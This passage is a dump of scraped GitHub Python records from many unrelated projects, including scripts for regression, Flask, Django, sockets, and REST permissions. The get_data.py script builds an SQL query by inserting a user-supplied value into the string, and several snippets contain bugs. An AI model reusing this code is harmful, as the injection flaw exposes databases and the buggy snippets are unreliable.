\"\"\"\n        Calculate the time remaining for the processes to complete N tasks.\n        \"\"\"\n        timeNow = time.time()\n        self.timeElapsed = timeNow - self.timeStart\n \n        pid_str = '%d' % pid\n        self.processTime[pid_str] = self.timeElapsed\n \n        # Calculate the average time elapsed for all of the processes\n        timeElapsedAvg = 0.0\n        numprocesses = self.numprocesses\n        if (numprocesses == 0): numprocesses = 1\n        for pid_str in self.processTime.keys():\n            timeElapsedAvg += self.processTime[pid_str]/numprocesses\n        self.timeRemain = timeElapsedAvg*(float(numtasks)/float(tasknum) - 1.0)\n \n    def update(self, output):\n        \"\"\"\n        Get and print the results from one completed task.\n        \"\"\"\n        pass\n \n    def worker(cls, dispatcher):\n        \"\"\"\n        The worker creates a TaskProcessor object to calculate the result.\n        \"\"\"\n        while True:\n            args = dispatcher.getTask()\n            taskproc = TaskProcessor(args[0])\n            result = taskproc.calculate(args[1])\n            # Put the result on the output queue\n            dispatcher.putResult(output)\n \n    # The multiprocessing worker must not require any existing object for execution!\n    worker = classmethod(worker)\n \n    def worker_sp(self):\n        \"\"\"\n        A single-process version of the worker method.\n        \"\"\"\n        args = self.dispatcher.getTask()\n        taskproc = TaskProcessor(args[0])\n        result = taskproc.calculate(args[1])\n        # Put the result on the output queue\n        self.dispatcher.putResult(output)\n","repo_name":"GeoDaCenter/CAST","sub_path":"stars/core/MultiCores.py","file_name":"MultiCores.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"}
+{"seq_id":"28679281978","text":"from statistics import mean\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nimport random\n\nstyle.available\nstyle.use('Solarize_Light2')\n# xs= np.array([1,2,3,4,5,6], dtype = np.float64)\n# ys= np.array([5,4,6,5,6,7], dtype= np.float64)\n\n#Defining best fit slope and intercept\n\ndef best_fit_slope_and_intercept(xs,ys):\n    \n    m= (((mean(xs)*mean(ys))- mean(xs*ys)) / \n        ((mean(xs)**2) - mean(xs**2)))\n    b= mean(ys)- m* mean(xs)\n    return m, b\n\n#calculating squared error function\ndef squared_error(ys_line, ys_orig):\n    return sum((ys_line-ys_orig)**2)\n\ndef coefficient_of_determination (ys_line, ys_orig):\n    squared_error_regr= squared_error(ys_line, ys_orig)\n    y_mean_list = [mean(ys_orig) for _ in ys_orig]\n    squared_error_orig = squared_error(ys_orig, y_mean_list)\n    return 1 - (squared_error_regr/squared_error_orig)\n\n#Creatong random datasets\n\ndef create_dataset(how_many, variance,step, correlation = False):\n    val= 1\n    ys= []\n    for i in range(how_many):\n        ys.append(val+ random.randrange(-variance, +variance))\n    \n        if correlation=='pos' and correlation :\n            val += step\n        elif correlation and correlation == 'neg' :\n            val -=step\n    xs=[i for i in range(len(ys))]\n    \n    return np.array(xs, dtype= np.float64), np.array(ys, dtype= np.float64)\n\n\nxs,ys = create_dataset(40, 3, 3, correlation = 'pos')\n\n\nm, b= best_fit_slope_and_intercept(xs, ys)\npredict_X= 8\npredictt_Y = (m * predict_X) + b \nregression_line = [m*x +b for x in xs]\n\nprint(m,b)\n\nr_squared = coefficient_of_determination(regression_line, ys)\nprint(r_squared)\n\nplt.scatter(xs,ys,c = 'red')\nplt.plot(xs,regression_line)\nplt.scatter(predict_X,predictt_Y, s=100,color='red')\nplt.show()\n\n\n","repo_name":"anilyavuz/my-ML-projects","sub_path":"Regression model- best fit/best fit.py","file_name":"best fit.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"26616304922","text":"import sqlite3\nimport sys\nimport os\nfrom tabulate import tabulate\n\nsys.path.append('..')\ndb_filename = '../task_18_1/dhcp_snooping.db'\n\n\nargvs = sys.argv[1:]\nargvs_to_db = []\n\ncolumns_list = ['mac', 'ip', 'vlan', 'interface', 'switch']\n\n\ndef get_data(argvs=None):\n    db_exists = os.path.exists(db_filename)\n\n    if db_exists:\n        if argvs != None:\n            conn = sqlite3.connect(db_filename)\n            result = conn.execute(f'select * from dhcp where {argvs[0]} = \"{argvs[1]}\"')\n            display = [row for row in result]\n            print(tabulate(display, headers=columns_list))\n\n        else:\n            conn = sqlite3.connect(db_filename)\n            result = conn.execute('select * from dhcp')\n            display = [row for row in result]\n            print(tabulate(display, headers=columns_list))\n\n    else:\n        print('Database does not exist')\n\n\nif len(argvs) > 0:\n    if len(argvs) != 2:\n        print('This script only takes two or none arguments\\n'\n              'in format: <column> <value>\\n'\n              'Columns are: mac, ip, vlan, interface, switch.'\n            )\n    else:\n        if argvs[0] in columns_list:\n            argvs_to_db = [argv for argv in argvs]\n            get_data(argvs_to_db)\n\n        else:\n            print('This script only takes two or none arguments\\n'\n                  'in format: <column> <value>\\n'\n                  'Columns are: mac, ip, vlan, interface, switch.'\n            )\n\nelse:\n    get_data()","repo_name":"fortredux/py_net_eng","sub_path":"exercises/18_db/task_18_2/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"34309121198","text":"from datetime import datetime, timedelta\nfrom django.http import HttpRequest, HttpResponse\nfrom django.utils import simplejson as json\nfrom django.contrib.auth import authenticate, logout\nfrom django.db.models import Q\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom website.utils.httpUtil import HttpRequestProcessor\nfrom website.utils.sessionHelper import SessionHelper\nfrom website.models import Organization, OrganizationMember, RatingCategory, OrganizationRating, Jurisdiction, JurisdictionContributor\nfrom django.contrib.sites.models import Site\nfrom django.contrib.sites.models import get_current_site\n\nfrom django.conf import settings as django_settings\n\ndef get_organization(request):\n    requestProcessor = HttpRequestProcessor(request)\n    \n    output = {}\n    output['organizations'] = []\n    \n    text = requestProcessor.getParameter('text')\n    if text == None: \n       return HttpResponse(json.dumps(output))\n    \n    #only if text is at least 2 chars\n    if len(text) > 1:\n        orgs = Organization.objects.filter(Q(name__icontains=text)).order_by('name')[0:20]\n        for org in orgs:\n            org_item = {}\n            org_item['id'] = org.id\n            org_item['name'] = org.name\n            output['organizations'].append(org_item)\n        \n    return HttpResponse(json.dumps(output))\n    \ndef set_member(request):\n    requestProcessor = HttpRequestProcessor(request)\n    \n    output = {}\n    output['e'] = False\n    output['m'] = ''\n    \n    org_id = requestProcessor.getParameter('org_id')\n    if org_id == None: \n        output['e'] = True\n        output['m'] = 'No org_id provided'\n        return HttpResponse(json.dumps(output))\n    \n    username = requestProcessor.getParameter('username')\n    if username == None: \n        output['e'] = True\n        output['m'] = 'No username provided'\n        return HttpResponse(json.dumps(output))\n    \n    try:\n        organization = Organization.objects.get(id=org_id)\n    except:\n        output['e'] = True\n        output['m'] = 'Organization not found.'\n        return HttpResponse(json.dumps(output))\n    \n    try:\n        user = User.objects.get(username=username)\n    except:\n        output['e'] = True\n        output['m'] = 'User not found.'\n        return HttpResponse(json.dumps(output))\n    \n    organization.set_member(user)\n        \n    return HttpResponse(json.dumps(output))\n\ndef delete_organization(request):\n    requestProcessor = HttpRequestProcessor(request)\n    user = request.user\n    \n    output = {}\n    output['e'] = False\n    output['m'] = ''\n    \n    org_id = requestProcessor.getParameter('org_id')\n    if org_id == None: \n        output['e'] = True\n        output['m'] = 'No org_id provided.'\n        return HttpResponse(json.dumps(output))\n    \n    try:\n        organization = Organization.objects.get(id=org_id)\n    except:\n        output['e'] = True\n        output['m'] = 'Organization does not exist.'\n        return HttpResponse(json.dumps(output))\n        \n    try:\n        owner = OrganizationMember.objects.get(organization=organization, role__name='Owner', status='A')\n    except:\n        owner = None\n    \n    #is user the owner or admin?\n    if user.is_staff != True:\n        if owner != None:\n            if user != owner.user:\n                output['e'] = True\n                output['m'] = 'You do not have the access right to delete this organization.'\n                return HttpResponse(json.dumps(output))\n    \n    #does org has other members besides owner\n    members = OrganizationMember.objects.filter(organization=organization, status='A').exclude(user=owner.user)\n    if len(members) > 0:\n        output['e'] = True\n        output['m'] = 'You cannot delete an organization that has other active members.'\n        return HttpResponse(json.dumps(output))\n        \n    organization.delete()\n    output['m'] = 'Organization deleted.'\n    return HttpResponse(json.dumps(output))\n\ndef top_org_contributors(request):\n    requestProcessor = HttpRequestProcessor(request)\n\n    number = requestProcessor.getParameter('number')\n    if number == None:\n        number = 3\n        \n    jid = requestProcessor.getParameter('jid')\n    if jid != None:\n        jurisdiction = Jurisdiction.objects.get(id=jid)       \n\n    current_site = get_current_site(request)\n\n    logo_src = str(current_site.name) + str(django_settings.MEDIA_URL) \n\n    top_org_contributors = []        \n    rating_category = RatingCategory.objects.get(id=1)\n\n    \n    if jid == None:\n        top_org_contributors_qryset = OrganizationRating.objects.filter(category__exact=rating_category).order_by('-scale')[:number]\n    else:\n        top_org_contributors_qryset = JurisdictionContributor.objects.filter(jurisdiction__exact=jurisdiction, question_category__isnull=True, user__isnull=True).order_by('-points')[:number]\n\n\n    if top_org_contributors_qryset:\n        for org in top_org_contributors_qryset:\n            top_org_contributor = {}\n            top_org_contributor['id'] = org.organization_id\n            org = Organization.objects.get(id=org.organization_id)\n            top_org_contributor['name'] = org.name\n            top_org_contributor['logo_src'] = str(logo_src) + str(org.logo)\n            top_org_contributors.append(top_org_contributor)\n\n    return HttpResponse(json.dumps(top_org_contributors))\n    \n    ","repo_name":"solarpermit/solarpermit","sub_path":"website/services/organization_services.py","file_name":"organization_services.py","file_ext":"py","file_size_in_byte":5335,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"1451314490","text":"from flask import Flask, render_template, request, jsonify\n\nfrom prometheus_client import make_wsgi_app\nfrom werkzeug.middleware.dispatcher import DispatcherMiddleware\nfrom werkzeug.serving import run_simple\nfrom flask_prometheus_metrics import register_metrics\n\nimport pymongo\nimport logging\nfrom flask_pymongo import PyMongo\n\nfrom jaeger_client import Config\nfrom flask_opentracing import FlaskTracing\n\napp = Flask(__name__)\n\napp.config[\"MONGO_DBNAME\"] = \"example-mongodb\"\napp.config[\n    \"MONGO_URI\"\n] = \"mongodb://example-mongodb-svc.default.svc.cluster.local:27017/example-mongodb\"\n\nmongo = PyMongo(app)\n\ndef init_tracer(service):\n    logging.getLogger(\"\").handlers = []\n    logging.basicConfig(format=\"%(message)s\", level=logging.DEBUG)\n\n    config = Config(\n        config={\"sampler\": {\"type\": \"const\", \"param\": 1,}, \"logging\": True, 'reporter_batch_size': 1,},\n        service_name=service,\n    )\n\n    # this call also sets opentracing.tracer\n    return config.initialize_tracer()\n\njaeger_tracer = init_tracer(\"backend\")\n\ntracing = FlaskTracing(jaeger_tracer)\n\n# provide app's version and deploy environment/config name to set a gauge metric\nregister_metrics(app, app_version=\"v0.1.2\", app_config=\"staging\")\n\n# Plug metrics WSGI app to your main app with dispatcher\ndispatcher = DispatcherMiddleware(app.wsgi_app, {\"/metrics\": make_wsgi_app()})\n\n@app.route(\"/\")\ndef homepage():\n    with jaeger_tracer.start_active_span('homepage') as scope:\n        return \"Hello World\"\n\n\n@app.route(\"/api\")\ndef my_api():\n    with jaeger_tracer.start_active_span('my_api') as scope:\n        answer = \"something\"\n        return jsonify(repsonse=answer)\n\n\n@app.route(\"/star\", methods=[\"POST\"])\ndef add_star():\n    with jaeger_tracer.start_active_span('add_star') as scope:\n        star = mongo.db.stars\n        scope.span.log_kv({'event': 'starting mongodb', 'value': star })\n\n        name = request.json[\"name\"]\n        scope.span.log_kv({'event': 'getting name from request', 'value': name })\n\n        distance = request.json[\"distance\"]\n        scope.span.log_kv({'event': 'getting distance from request', 'value': distance })\n\n        star_id = star.insert({\"name\": name, \"distance\": distance})\n        scope.span.log_kv({'event': 'insert into mongodb', 'value': star_id })\n\n        new_star = star.find_one({\"_id\": star_id})\n        scope.span.log_kv({'event': 'find inserted value', 'value': new_star })\n\n        output = {\"name\": new_star[\"name\"], \"distance\": new_star[\"distance\"]}\n        scope.span.log_kv({'event': 'output value', 'value': output })\n        \n        return jsonify({\"result\": output})\n\nrun_simple(hostname=\"0.0.0.0\", port=8080, application=dispatcher)\n\n# if __name__ == \"__main__\":\n#     # app.run()\n    \n","repo_name":"azzahamdani/udacity-building-metrics-dashbord","sub_path":"reference-app/backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41471299906","text":"\n# Transformar una 'list' con map\n\n# Creamos una list de dict para este ejercicio.\n\nitems = [\n    {\n        'product': 'camisa',\n        'price': 100\n    },\n    {\n        'product': 'pantalones',\n        'price': 400\n    },\n    {\n        'product': 'sombrero',\n        'price': 600\n    }\n]\n\n# Vamos a transformar esta list es una list de numeros.\n\n# Que muestre en una list solo los numeros de los precios.\n\nprices = list(map(lambda item: item['price'], items))\n\nprint(prices)\n\n# Ahora agreguemos un nuevo atributo 'taxes' 'impuestos' a este list o 'array'\n\n# copy() => para copiar el array y asi no tener que modificar el original.\n\ndef add_taxes(item):\n    new_item = item.copy()\n    new_item['taxes'] = new_item['price'] * .19\n    return new_item\n\nnew_items = list(map(add_taxes, items))\n\nprint(new_items)\nprint('Old items')\nprint(items)\n\n\n\n# ejercicio\n'''\ngroup_music = [\n    {\n        'Grupo musical': 'blackpink',\n        'cancion': 'savage',\n        'pais': 'japon'\n    },\n    {\n        'Grupo musical': 'taylor swift',\n        'cancion': 'red',\n        'pais': 'USA'\n    },\n    {\n        'Grupo musical': 'Linkin Park',\n        'cancion': 'crying',\n        'pais': 'Britanico'\n    }\n]\n\ndef add_info(new_info):\n    new_info['genero'] =  'rock'\n    return new_info\n\nadd_new_info = list(map(add_info, group_music))\nprint(add_new_info)\n'''","repo_name":"Marlon4789/Python-comprehencions","sub_path":"14_map_dict.py","file_name":"14_map_dict.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25184388250","text":"import tkinter as tk\nfrom Source.View.Components.backButton import *\n\n\ndef interface_exported_to_excel(export_to_excel):\n    # Interface for displaying completion of export to Excel\n    export_to_excel()\n\n    exUI = tk.Toplevel()\n    exUI.title(\"Exportação Concluída\")\n    exUI.geometry(\"800x600\")\n    exUI.config(padx=10, pady=100)\n    exUI.resizable(width=False, height=False)\n\n    header_label = tk.Label(exUI, text=\"Exportação do Arquivo Excel Concluída\", font=(\"Calibri\", 18, \"italic\"))\n    header_label.pack(pady=10)\n\n    back_button(exUI, exUI.destroy)\n","repo_name":"jotadevss/GFinance","sub_path":"Source/View/exported.py","file_name":"exported.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32718029148","text":"\"\"\" Link Travel Time Models for VehicleTracker \"\"\"\nimport logging\nfrom datetime import datetime\nfrom typing import Any, Dict\nimport json\n\nimport numpy as np\nimport pandas as pd\n\nfrom vehicletracker.helpers.spatial_reference import SpatialRef\nfrom vehicletracker.models.travel_time import TravelTimeModel\n\n_LOGGER = logging.getLogger(__name__)\n\nclass WeeklyHistoricalAverageTravelTime(TravelTimeModel):\n\n    def train(self, time : datetime, spatial_ref : SpatialRef, parameters : Dict[str, Any]) -> Dict[str, Any]:\n        n_days = parameters.get('nDays', 21)\n        data, data_labels = self.travel_time_n_preceding_normal_days(time, n_days, spatial_ref)\n\n        df = pd.DataFrame(data)\n        df['time'] = pd.to_datetime(df['time'], unit='s')\n\n        self.link_refs = np.array(data_labels['linkRef'])\n        self.link_ix_lookup = { key: value for value, key in enumerate(self.link_refs) }\n        self.travel_time_lookup = []\n        \n        for link_ix, link_ref in enumerate(self.link_refs):\n            ix_hour = np.arange(24)\n            ix_weekday = np.arange(7)\n            df_link = df[df['linkRef'] == link_ix].drop('linkRef', axis=1)\n            df_link['hour'] = df_link['time'].dt.hour\n            df_link['weekday'] = df_link['time'].dt.weekday\n            matrix = df_link.groupby(['hour', 'weekday'])['travelTime'].mean().unstack(1).reindex(ix_hour, axis=0).reindex(ix_weekday, axis=1)\n            matrix = matrix.fillna(method='ffill').fillna(method='bfill').fillna(df_link['travelTime'].mean())\n            self.travel_time_lookup.append(matrix)\n\n        pred = self.predict({\n            'time': df['time'].astype(str).tolist(),\n            'linkRef': self.link_refs[df['linkRef']].tolist()\n        })\n\n        return {\n            'loss': np.mean((df['travelTime'] - pred)**2),\n            'spatialRefs': data_labels['linkRef']\n        }\n\n    def save(self, model_store, metadata):\n        config = []\n        for link_ix, link_ref in enumerate(self.link_refs):\n            config.append({\n                'linkRef': link_ref,\n                'lookup': self.travel_time_lookup[link_ix].values.tolist()\n            })\n\n            with open(metadata['resourceUrl'] + '/config.json', 'w') as config_file:\n                json.dump(config, config_file)\n    \n    def restore(self, model_store, metadata):\n        _LOGGER.info(\"Restoring model '%s'...\", metadata['ref'])\n\n        with open(metadata['resourceUrl'] + '/config.json', 'r') as config_file:\n            config = json.load(config_file)\n\n        self.link_refs = []\n        self.travel_time_lookup = []\n\n        for link in config:\n            ix_hour = np.arange(24)\n            ix_weekday = np.arange(7)\n            self.link_refs.append(link['linkRef'])\n            self.travel_time_lookup.append(pd.DataFrame(data=link['lookup'], index=ix_hour, columns=ix_weekday))\n\n        self.link_ix_lookup = { key: value for value, key in enumerate(self.link_refs) }\n\n    def predict(self, predict_params):\n        # Single prediction\n        if 'time' in predict_params and isinstance(predict_params['time'], str):\n            time = pd.to_datetime([predict_params['time']])\n            link_ix = self.link_ix_lookup[predict_params['linkRef']]\n            return self.travel_time_lookup[link_ix].lookup(time.hour, time.weekday)\n        # Batch prediction\n        elif 'time' in predict_params and isinstance(predict_params['time'], list):\n            time = pd.to_datetime(predict_params['time'])\n            link_ix = np.array([self.link_ix_lookup[x] for x in predict_params['linkRef']])\n            pred = np.empty_like(time, dtype=float) \n            for link_ix_, link_ref_ in enumerate(self.link_refs):\n                mask = link_ix_ == link_ix\n                pred[mask] = self.travel_time_lookup[link_ix_].lookup(time[mask].hour, time[mask].weekday)\n            return pred\n        else:\n            raise ValueError('Unsupported predict parameters: %s', predict_params)\n","repo_name":"niklascp/vehicletracker","sub_path":"vehicletracker/models/WeeklyHistoricalAverageTravelTime.py","file_name":"WeeklyHistoricalAverageTravelTime.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8005093473","text":"import sys\n\nN, M = map(int, input().split())\naij = list(map(list, sys.stdin.read().split()))\naij.reverse()\nwon = [(0, 2*N-i-1) for i in range(N * 2)]\n\nfor j in range(M):\n    for k in range(N):\n        p1 = k*2\n        p2 = k*2+1\n        w1, i1 = won[p1]\n        w2, i2 = won[p2]\n        if aij[i1][j] == aij[i2][j]:\n            continue\n        if aij[i1][j] == 'G' and aij[i2][j] == 'C':\n            won[p1] = (w1+1, i1)\n        elif aij[i1][j] == 'G' and aij[i2][j] == 'P':\n            won[p2] = (w2+1, i2)\n        elif aij[i1][j] == 'C' and aij[i2][j] == 'P':\n            won[p1] = (w1+1, i1)\n        elif aij[i1][j] == 'C' and aij[i2][j] == 'G':\n            won[p2] = (w2+1, i2)\n        elif aij[i1][j] == 'P' and aij[i2][j] == 'G':\n            won[p1] = (w1+1, i1)\n        elif aij[i1][j] == 'P' and aij[i2][j] == 'C':\n            won[p2] = (w2+1, i2)\n\n    won = sorted(won, reverse=True)\n\nfor _, i in sorted(won, reverse=True):\n    print(N*2-i)","repo_name":"makiton/atcoder","sub_path":"abc222/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25689820508","text":"import json\nimport socket\nfrom PyQt5.QtCore import QThread\n\n\nclass connecter(QThread):\n    '连接器'\n    def __init__(self, BUFSIZ, ADDRESS):\n        super(connecter, self).__init__()\n        self.BUFSIZ = BUFSIZ  # 数据传输时大小\n        self.ADDRESS = ADDRESS  # 连接地址\n        self.command = []  # 用户发出的命令\n        self.signal = {}  # 各种信号 由窗口给与\n        self.topics = []  # 用户关注话题\n        self.tcpClientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 真正的 Socket 连接器\n\n    def setSignal(self, name, signal):\n        '设置信号'\n        self.signal[name] = signal\n\n    def send(self, msg):\n        '发送消息'\n        if msg:\n            try:\n                self.command.append(msg.split(' ')[0])  # 将发送的指令分离出来添加到指令集\n                self.tcpClientSocket.send(msg.encode('utf-8'))\n            except Exception as e:\n                print(e)\n\n    def login(self, account: dict):\n        '登录'\n        self.send('/login {} {}'.format(account['username'], account['password']))\n\n    def run(self):\n        '接收服务端数据'\n        self.tcpClientSocket.connect(self.ADDRESS)  # 连接\n        try:\n            while True:\n                # 死循环不断接收\n                data = self.tcpClientSocket.recv(self.BUFSIZ).decode('utf-8')\n                if data == '/close':\n                    break\n                else:\n                    # 分析数据 并弹出对应的指令\n                    self.analysis(self.command.pop(0), data)\n        except Exception as e:\n            # 非主动断开时报错才打印\n            if '你的主机中的软件中止了一个已建立的连接' not in str(e):\n                print(e)\n            self.tcpClientSocket.close()\n\n    def analysis(self, cmd, data):\n        '分析数据'\n        if cmd == '/login':\n            try:\n                data = json.loads(data)\n                self.topics = data  # 保存获取的话题\n                if 'default' in self.signal:\n                    self.signal['default'].emit('登录成功')\n                else:\n                    self.signal['/login'].emit(True)\n            except Exception:\n                # 如果 json 解析失败发送False信号给登录窗口\n                if 'default' in self.signal:\n                    self.signal['default'].emit('账户或密码错误')\n                else:\n                    self.signal['/login'].emit(False)\n        else:\n            try:\n                jsdata = json.loads(data)\n                # 将解析好的 json 数据发送给窗体\n                if cmd in self.signal:\n                    self.signal[cmd].emit(jsdata)\n                elif 'default' in self.signal:\n                    self.signal['default'].emit(data)\n            except Exception as e:\n                if data == '请先登录':\n                    if 'default' in self.signal:\n                        self.signal['default'].emit(data)\n                    else:\n                        self.signal['/login'].emit(False)\n                print(e, data)\n\n    def quit(self):\n        '断开连接'\n        self.send('/close')\n        self.tcpClientSocket.close()\n        super().quit()\n","repo_name":"Drelf2018/Liter","sub_path":"Liter_Client/send_receive.py","file_name":"send_receive.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23704901702","text":"list = []\nwhile True:\n    n = int(input('Digite um valor: '))\n    if n not in list:\n        list.append(n)\n        print('Número adicionado com sucesso...')\n    else:\n        print('Valor duplicado, digite novamente...')\n    r = str(input('Quer continuar? [S/N] '))\n    if r in 'Nn':\n        break\nprint('-=' * 30)\nlist.sort()\nprint(f'A sua lista foi {list}')\n","repo_name":"annakesyalima/python","sub_path":"programas/mundo-3/Teste79.py","file_name":"Teste79.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41903999861","text":"import threading\nfrom rest_framework import viewsets, status\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.authentication import SessionAuthentication\nfrom rest_framework.filters import SearchFilter\nfrom pesticide_app.api.serializers import CommentSerializer\nfrom pesticide_app.permissions import CommentorPermissions, AdminOrReadOnlyPermisions\nfrom pesticide_app.models import Comment\nfrom pesticide_app.mailing import new_comment\nfrom slugify import slugify\nfrom pesticide.settings import FRONTEND_URL\n\n\nclass CommentViewSet(viewsets.ModelViewSet):\n    serializer_class = CommentSerializer\n    queryset = Comment.objects.all()\n    permission_classes = [IsAuthenticated & (\n        CommentorPermissions | AdminOrReadOnlyPermisions)]\n    filter_backends = (SearchFilter, )\n    authentication_classes = [SessionAuthentication, ]\n    search_fields = ['text']\n\n    def create(self, request, *args, **kwargs):\n        comment = request.data\n        comment['commentor'] = request.user.id\n        serializer = CommentSerializer(data=comment)\n        if serializer.is_valid():\n            self.perform_create(serializer)\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n        else:\n            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n    def perform_create(self, serializer):\n        comment = serializer.save()\n        projectPageLink = f\"{FRONTEND_URL}/projects/{slugify(comment.issue.project.name)}/issues/{comment.issue.id}\"\n        email_notification = threading.Thread(\n            target=new_comment,\n            args=(\n                comment.issue.project.name,\n                projectPageLink,\n                comment.issue,\n                comment.issue.reporter.name,\n                comment.text,\n                comment.commentor.name,\n                comment.issue.reporter,\n                comment.issue.assigned_to,\n                comment.issue.project.members.all(),\n            )\n        )\n        email_notification.start()\n","repo_name":"MihirSachdeva/pesticide-docker","sub_path":"pesticide_backend/src/pesticide_app/views/comment/comment.py","file_name":"comment.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"}
+{"seq_id":"41327898785","text":"'''\n\nCreated on 4 May 2020\n@author: ethancollopy\n\n'''\n\nimport pandas as pd \nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\npd.set_option('display.max_rows', None)\npd.set_option('display.max_columns', None)\npd.set_option('display.width', None)\npd.set_option('display.max_colwidth', None)\n\nplt.rcParams.update({'font.serif': 'Times New Roman',\n                                'font.size': 10.0,\n                                'axes.labelsize': 'Medium',\n                                'axes.labelweight': 'normal',\n                                'axes.linewidth': 0.8,\n                                 # THIS IS THE IMPORTANT ONE FOR STRETCHING\n                                 # default is [6,4] but...i changed it to\n                                'figure.figsize':[16,8]   # THIS ONE #\n                              })\n\n  \n#print(data2)\nCountries=['Spain','United Kingdom']\n\n\ncasesData = pd.read_csv(\"/Users/ethancollopy/dev/git/data/COVID19/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv\"  , index_col='Country/Region') \ncasesData22 = casesData[casesData['Province/State'].isnull()] \ncasesData2 = casesData22.transpose()\ncasesData3 = casesData2[Countries]\ncasesData4 = casesData3.iloc[150:,:]\n\n# Adding moving average\n#casesData4['pandas_SMA_3'] = casesData3.iloc[:,[0]].rolling(window=3).mean()\n\ncasesData5= casesData3.iloc[:, 1:5]\ncasesData6= casesData5.diff()\n\nax = casesData4.plot(lw=1, colormap='jet', marker='.', markersize=4,title='Covid-19 Cases')\nax.set_xlabel('Date')\nax.set_ylabel('Number of Cases')\nax.set_facecolor('gainsboro')\n\n\nplt.grid()\nplt.savefig('charts/Spain_UK_Jan21.png')\nplt.show()\n\n\n\n\n","repo_name":"scienceMiner/pythonCovid19Charts","sub_path":"python.datascience.views/src/SpainVsUKAfter150Days.py","file_name":"SpainVsUKAfter150Days.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"28707110030","text":"from rest_framework.permissions import BasePermission\nfrom .models import Comments, Contributors, Issues, Projects, Users\n\n\nclass IsAuthenticatedProjectAuthor(BasePermission):\n    \"\"\"\n    Allow access to the projects view if user is Authenticated\n    Project Author car create, get, modify or delete\n    Contributors can only get or create\n    \"\"\"\n    message = 'Editing projects is retricted to the author only!'\n    author_methods = ['GET', 'POST', 'PUT', 'DELETE']\n    base_methods = ['GET', 'POST']\n\n    def has_permission(self, request, view):\n        if request.user.is_authenticated:\n            return True\n\n    def has_object_permission(self, request, view, obj):\n        if request.user.is_authenticated:\n            contributors = Contributors.objects.filter(project_id=obj.id)\n            if request.user == obj.author_user_id:\n                if request.method in self.author_methods:\n                    return True\n            elif contributors.get(user_id=request.user) is not None:\n                if request.method in self.base_methods:\n                    return True\n            else:\n                print(\"you're not this project's author or contributor\")\n\n\nclass IsProjectAuthorOrContributor(BasePermission):\n    \"\"\"\n    Allow access to the contributors view if user is Authenticated and author or contributor\n    Project Author car create, get, modify or delete contributors\n    Contributors can only get informations\n    \"\"\"\n    message = 'you should be authenticated and Author or contributor of an existing project!'\n    message_project_not_exist = 'This project does not exist'\n    author_object_methods = ['GET', 'POST', 'PUT', 'DELETE']\n    contributor_methods = ['GET', ]\n\n    def has_permission(self, request, view):\n        if request.user.is_authenticated:\n            try:\n                actual_project = Projects.objects.get(pk=view.kwargs['projects_pk'])\n            except :\n                return False\n            author = actual_project.author_user_id\n            contributors = Contributors.objects.filter(project_id=actual_project.id)\n            if request.user == author:\n                return True\n            elif request.user in contributors:\n                return True\n\n    def has_object_permission(self, request, view, obj):\n        if request.user.is_authenticated:\n            actual_project = Projects.objects.get(pk=view.kwargs['projects_pk'])\n            author = actual_project.author_user_id\n            contributors = Contributors.objects.filter(project_id=actual_project.id)\n            if request.user == author:\n                if request.method in self.author_object_methods:\n                    return True\n            elif request.user in contributors:\n                if request.method in self.contributor_methods:\n                    return True\n\n\nclass IsIssueAuthorOrAssignee(BasePermission):\n    \"\"\"\n    Allow access to the issues view if user is Authenticated and,\n    author or contributors of the related project\n    Issue Author can create, get, modify or delete contributors\n    Contributors can only get and post Issues\n    \"\"\"\n    message = 'you should be authenticated and this issue author or assignee!'\n    author_object_methods = ['GET', 'POST', 'PUT', 'DELETE']\n    base_methods = ['GET', 'POST']\n\n    def has_permission(self, request, view):\n        if request.user.is_authenticated:\n            self.actual_project = Projects.objects.get(pk=view.kwargs['projects_pk'])\n            self.project_author = self.actual_project.author_user_id\n            self.project_contributors = Contributors.objects.filter(project_id=self.actual_project.id)\n            if request.user == self.project_author:\n                return True\n            elif request.user in self.project_contributors:\n                return True\n            else:\n                print('you are not associated with this project')\n\n    def has_object_permission(self, request, view, obj):\n        if request.user.is_authenticated:\n            actual_issue = Issues.objects.get(pk=view.kwargs['pk'])\n            issue_author = actual_issue.author_user_id\n            assignee = 